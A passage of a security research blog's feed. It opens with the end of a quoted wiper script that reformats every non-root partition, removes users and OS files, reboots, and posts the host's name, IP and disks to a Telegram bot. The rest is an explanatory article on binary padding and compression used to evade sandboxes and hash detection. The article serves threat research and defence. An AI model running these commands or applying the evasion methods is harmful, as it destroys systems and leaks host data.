&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0%&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;100%&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; partition in &lt;span class="nv"&gt;$mounted_partitions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$partition&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$root_partition&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;device_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;mount &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="nv"&gt;$partition&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$device_name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; /dev* &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$device_name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; umount -lv &lt;span class="nv"&gt;$partition&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; parted -s &lt;span class="nv"&gt;$device_name&lt;/span&gt; mklabel gpt -- &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; parted -s &lt;span class="nv"&gt;$device_name&lt;/span&gt; mkpart primary &lt;span class="nv"&gt;$fs_type&lt;/span&gt; &lt;span class="nv"&gt;$start&lt;/span&gt; &lt;span class="nv"&gt;$end&lt;/span&gt; -- &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; parted -s &lt;span class="nv"&gt;$device_name&lt;/span&gt; ignore-optimization check &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; partprobe &lt;span class="nv"&gt;$device_name&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Format the new partition&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; mkfs.&lt;span class="nv"&gt;$fs_type&lt;/span&gt; -f &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;device_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;###############################################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_all_users
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_file_system
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -d &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; message &lt;span class="s"&gt;&amp;lt;&amp;lt; EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Cleaning process completed on server HOST: $(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;IP: $(hostname -I)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Disk volumes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$(df -h --output=source,size,target)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl -s --retry &lt;span class="m"&gt;3&lt;/span&gt; --retry-delay &lt;span class="m"&gt;5&lt;/span&gt; -X POST &lt;span class="s2"&gt;&amp;#34;https://api.telegram.org/bot&lt;/span&gt;&lt;span class="nv"&gt;$telegram_bot_token&lt;/span&gt;&lt;span class="s2"&gt;/sendMessage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;chat_id=&lt;/span&gt;&lt;span class="nv"&gt;$telegram_chat_id&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;text=&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_os_file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reboot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>How Hackers Use Binary Padding to Outsmart Sandboxes and Infiltrate Your Systems</title><link>https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/</link><pubDate>Thu, 18 May 2023 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/</guid><description>
&lt;p&gt;Binary padding is the process of adding extra or junk data to a portable
executable (PE) file that, while not changing the behavior of the binary,
changes certain characteristics that can help with either obfuscating relevant
code or defeating sandboxing solutions and detections.&lt;/p&gt;
&lt;p&gt;This technique is not novel. It has been employed in various forms for several
years to achieve different effects, all of which are related to evading defense
mechanisms. So why are we talking about it now? We have noticed recently a lot
of phishing campaigns using binary padding while targeting victims, for example
&lt;a href="https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html"target="_blank" rel="noopener"&gt;Emotet&lt;/a&gt;
and
&lt;a href="https://research.checkpoint.com/2020/exploring-qbots-latest-attack-methods/"target="_blank" rel="noopener"&gt;QBot&lt;/a&gt;.
(&lt;a href="#pufferphishing-binary-padding-combined-with-compression"&gt;Skip down to read more about this “PufferPhishing” technique.&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;This blog will take a look into the what, the why, and the who when it comes to
binary padding as an evasive technique for cyberattacks.&lt;/p&gt;
&lt;h2&gt;Why Would Attackers Use Binary Padding?&lt;span class="hx:absolute hx:-mt-20" id="why-would-attackers-use-binary-padding"&gt;&lt;/span&gt;
&lt;a href="#why-would-attackers-use-binary-padding" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Historically, malware was small in size. A lot of logic for malware can be
programmed into a very small executable. A small size for malware was a
requirement not long ago, as computers had slower internet and not a huge
amount of RAM. Large binaries used to be limited to files like installers or
games, as these contain a large amount of resources such as extra files, images
and libraries in order to function. Over 10 years ago, if a file was very
large, for example over 5 MB in size, it would have been an indicator of
non-maliciousness.&lt;/p&gt;
&lt;p&gt;These days not so much. As computers today have magnitudes more memory and disk
space compared to twenty years ago, file size of a binary became less of an
issue. This has allowed new compilers and programming languages to optimize
differently without considering the final binary size. New programming
languages such as Rust and Go default to statically link libraries to the final
binary which helps improve performance, but results in a larger final binary.
For example, a “Hello, World”
&lt;a href="../../../2021/12/all-your-go-binaries-are-belong-to-us/"&gt;Go binary&lt;/a&gt; has a size
in the megabytes.&lt;/p&gt;
&lt;p&gt;Binary padding comes with many benefits for malware authors, let’s discuss a
few of them and the pros and cons for each.&lt;/p&gt;
&lt;h3&gt;Binary Padding Can Defeat Sandboxes with Size Limits&lt;span class="hx:absolute hx:-mt-20" id="binary-padding-can-defeat-sandboxes-with-size-limits"&gt;&lt;/span&gt;
&lt;a href="#binary-padding-can-defeat-sandboxes-with-size-limits" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;One of the most simple reasons for binary padding is to simply make the file
bigger! This attempts to avoid analysis from automated malware analysis tools,
such as
&lt;a href="https://intezer.com/blog/alert-triage/the-evolution-of-sandboxing/?utm_campaign=research-blog&amp;amp;utm_content=how-hackers-use-binary-padding-to-outsmart-sandboxes&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;traditional sandboxes&lt;/a&gt;,
since most have an upper limit on the size of files being submitted. It also
hinders analysis of the file as someone trying to submit the file might not be
able to upload such a large file in reasonable time limits, since the upload
requires network transfer to the sandbox. This simple but effective technique
allows malware to avoid being analyzed by virtue of being &lt;em&gt;too big to fit in
the front door&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For security vendors, the solution is simple: raise the limit of file size.
This arms race comes with added costs for security vendors, but also adds cost
to the malware author, the larger they need to make their malware to usurp the
limits also makes the malware much bulkier and harder to transport to the
victim. (There is an easy method that malware authors are able to use to make
their inflated files easier to transport that we will talk about
&lt;a href="#pufferphishing-binary-padding-combined-with-compression"&gt;later in this blog&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig1.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exceeding Sandbox Size Limits with Binary Padding&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pros for the attacker&lt;/th&gt;
&lt;th&gt;Cons for the attacker&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Simple to implement for the malware author&lt;/td&gt;
&lt;td&gt;Easy for cybersecurity tools to detect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Effectively defeats most sandbox solutions&lt;/td&gt;
&lt;td&gt;Malware with binary padding can be reversed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multiple ways to achieve&lt;/td&gt;
&lt;td&gt;Hard to transport files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Does not defeat tools with no size limit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Using Binary Padding to Change the Hash&lt;span class="hx:absolute hx:-mt-20" id="using-binary-padding-to-change-the-hash"&gt;&lt;/span&gt;
&lt;a href="#using-binary-padding-to-change-the-hash" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;“I’m not like other executables.” Binary padding can also be used to
&lt;a href="../../../2022/05/threat-hunting-sigma-detection-rules/#:~:text=a%20file%E2%80%99s%20hash%20is%20the%20easiest%20indicator%20to%20find%20and%20to%20detect%20but%20it%20is%20also%20trivial%20for%20threat%20actors%20to%20modify%20it%20simply%20by%20changing%20one%20bit%20in%20a%20file."&gt;change the hash for a malware&lt;/a&gt;.
This technique can be effective to avoid hash-based detections, but not systems
with genetic-based detection. The technique is achieved by a malware creating a
copy of itself and inserting random data into it, thus ensuring that a
cryptographic hash, for example MD5 or SHA, of the file will be unique for
each. It is easy to achieve as only one bit is needed to be changed to change
the hash.&lt;/p&gt;
&lt;p&gt;The reason why this works is due to a concept in cryptography called
&lt;a href="https://en.wikipedia.org/wiki/Confusion_and_diffusion"target="_blank" rel="noopener"&gt;diffusion&lt;/a&gt;. Diffusion
means that if one bit of an input into a cryptographic hashing function is
changed, then much of the output (digest) is also changed. This means that
similar inputs do not produce similar outputs, hiding any relationship between
the digest and the plaintext. This has the effect of avoiding hash-based
detections, as we can see it is trivial to change the hash. This is less of an
effective technique as most modern malware detection solutions have
&lt;a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html"target="_blank" rel="noopener"&gt;moved beyond&lt;/a&gt;
hash-based and use genetic, signature, or behavior-based detections.&lt;/p&gt;
&lt;p&gt;An example with the string diffusion:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;String&lt;/th&gt;
&lt;th&gt;MD5 Hash Digest&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Diffusion&lt;/td&gt;
&lt;td&gt;c9fc4714730359980e89007f327c5b7d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Diffuzion&lt;/td&gt;
&lt;td&gt;2e24821ec7e23fe19d8ec494a801928a&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Notice how changing one letter completely changes the above hash digest?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Binary Padding to Create Unique Hashes&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pros for the attacker&lt;/th&gt;
&lt;th&gt;Cons for the attacker&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Easy to achieve for the malware author&lt;/td&gt;
&lt;td&gt;Slightly antiquated, it does not defeat more modern malware detection methods such as signatures or genetic detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defeats hash-based detections&lt;/td&gt;
&lt;td&gt;Often requires the malware to create a copy of itself to modify, which can be suspicious behavior to detect in itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multiple ways to achieve&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;An example of this technique being used is by the Orangeworm group with their
&lt;a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"target="_blank" rel="noopener"&gt;Kwampirs backdoor&lt;/a&gt;;
it achieves it by inserting a randomly generated string into the middle of the
binary.&lt;/p&gt;
&lt;h3&gt;Binary Padding for Obfuscation&lt;span class="hx:absolute hx:-mt-20" id="binary-padding-for-obfuscation"&gt;&lt;/span&gt;
&lt;a href="#binary-padding-for-obfuscation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Padding, such as junk code, can be added to an executable solely for the
purpose of creating so much junk and noise that it bogs down analysts when
looking at the file, that it has the effect of obfuscating the relevant
malicious code. Many would be familiar with the technique used in legislation
of a &lt;a href="https://en.wikipedia.org/wiki/Rider_%28legislation%29"target="_blank" rel="noopener"&gt;rider&lt;/a&gt;; an extra
provision added to a bill, hiding behind the main body of text hoping to fly
under the radar in order not to be noticed. It is a similar concept with junk
code obfuscation. Junk code has the effect of hindering manual analysis by a
reverse engineer that does not have the tools or skills to avoid falling into
the trap. While this is effective at hindering manual analysis, it does not
always have the ability to pass automated analysis tools as they can analyze
code at volumes that cannot be performed by a human. The presence of junk code
in itself can be a suspicious indicator of maliciousness; what can be less
discreet than a malware containing the works of Shakespeare inside it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Binary Padding for Obfuscation&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pros for the attacker&lt;/th&gt;
&lt;th&gt;Cons for the attacker&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Can confuse malware analysts&lt;/td&gt;
&lt;td&gt;Can be a suspicious indicator in itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hinders debugging&lt;/td&gt;
&lt;td&gt;Can cause more resource consumption, hindering the performance of the malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Has some of the same positive effects of inflating the binary size&lt;/td&gt;
&lt;td&gt;Limited effectiveness on skilled analysts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can cause false negatives&lt;/td&gt;
&lt;td&gt;Has the same negative effects of inflating the binary size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can cause decompilers and disassemblers to take a very long time to open the file&lt;/td&gt;
&lt;td&gt;Less likely to defeat automated analysis techniques&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Problem for Threat Actors&lt;span class="hx:absolute hx:-mt-20" id="problem-for-threat-actors"&gt;&lt;/span&gt;
&lt;a href="#problem-for-threat-actors" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The main problem for threat actors is that with binary padding, the increased
file size can be hard to distribute. Threat actors want a file that is huge on
disk, but does not take ages to deliver. Not everyone has an extremely fast
internet, and therefore it would be inconvenient to a threat actor wishing to
distribute malware to make it take hours to download.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;What is their solution to this? The malware author can use a downloader that
dynamically pads a binary after downloading it. An example of this is the
threat group BRONZE BUTLER. BRONZE BUTLER
&lt;a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"target="_blank" rel="noopener"&gt;targeted Japanese businesses&lt;/a&gt;
with malware using padding. This was achieved by using a downloader that would
download a payload and then insert the character ‘0’ at the end of the file to
inflate the size to 50-100 MB.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This comes with extra baggage that the malware author might not wish to have.
Firstly the downloader itself might be detected, which can defeat the purpose
of using binary padding to avoid detection. Next is also that it creates more
network traffic that might be detected. The C2 might already be known to
distribute malware, and it can be blocked or detected at this point. The use of
a C2 can add an extra single point of failure in the chain where something
might break. Also the payload that is fetched might be detected in memory or
over the network before the padding is performed, so it might be analyzed
before the padding has a chance to take effect.&lt;/p&gt;
&lt;p&gt;There is another way to achieve padding without the same baggage that comes
from using downloaders and C2 servers, &lt;strong&gt;exploiting compression&lt;/strong&gt;. We will talk
about this technique below, which we are calling “&lt;strong&gt;PufferPhishing&lt;/strong&gt;” due to
its active use in malicious phishing attachments. This is not a new technique,
but is ever more being exploited by threat actors in phishing campaigns.&lt;/p&gt;
&lt;h2&gt;PufferPhishing: Binary Padding Combined with Compression&lt;span class="hx:absolute hx:-mt-20" id="pufferphishing-binary-padding-combined-with-compression"&gt;&lt;/span&gt;
&lt;a href="#pufferphishing-binary-padding-combined-with-compression" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Recently we have noticed an uptick in the use of binary padding to evade
analysis size limits… but with a smart technique to ensure that the files are
still deliverable, by exploiting the efficiency of compression algorithms.
Malware authors are creating padding that uses resources and overlays in order
to create malware that is hundreds of MBs in size, but is able to compress to
over 90% of its original bulk due to its efficiency in compression. This means
that malware can be created to circumvent sandbox size limits but also solve
the file transport problem that comes with that technique. It is the binary
padding equivalent of having your cake and eating it too!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;How Does the PufferPhishing Technique Work?&lt;span class="hx:absolute hx:-mt-20" id="how-does-the-pufferphishing-technique-work"&gt;&lt;/span&gt;
&lt;a href="#how-does-the-pufferphishing-technique-work" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The technique works by using repeating sequences of bytes padded inside
binaries to inflate the size of the binary. But the nature of the repeating
bytes used allows it to be compressed to over 90% of its original size,
commonly in the
&lt;a href="https://en.wikipedia.org/wiki/ZIP_%28file_format%29#:~:text=ZIP%20is%20an%20archive%20file,DEFLATE%20is%20the%20most%20common."target="_blank" rel="noopener"&gt;ZIP file format&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;ZIP archive file format most commonly uses the
&lt;a href="https://www.zlib.net/feldspar.html"target="_blank" rel="noopener"&gt;DEFLATE compression&lt;/a&gt; format, incorporating
LZ77 and Huffman coding. It is very good at compressing sequences of repeating
data. DEFLATE compression works so well on repeating bytes that it’s worth
showing an example:&lt;/p&gt;
&lt;p&gt;Creating a file of size 5 KB, with the repeating character &lt;code&gt;a&lt;/code&gt; will compress to
22 bytes with DEFLATE. A 99.56% decrease in size. Whereas a file with the
string below will only compress to 45 bytes:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is a 13.46% decrease in size. Through DEFLATE, the file with the repeating
bytes will be smaller than the file with less repeating bytes even though the
former file was around 100x bigger decompressed! This shows how the use of
repeating data (or a very low
&lt;a href="https://en.wikipedia.org/wiki/Entropy_%28information_theory%29"target="_blank" rel="noopener"&gt;entropy&lt;/a&gt;) can be
exploited to make very large malware files that are easy to transport. The
following CyberChef recipes have been created to help demonstrate:&lt;/p&gt;
&lt;p&gt;File 1 (Repeating Bytes/Large File):
&lt;a href="https://gchq.github.io/CyberChef/#recipe=Raw_Deflate%28%27Dynamic%20Huffman%20Coding%27%29&amp;amp;input=YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWF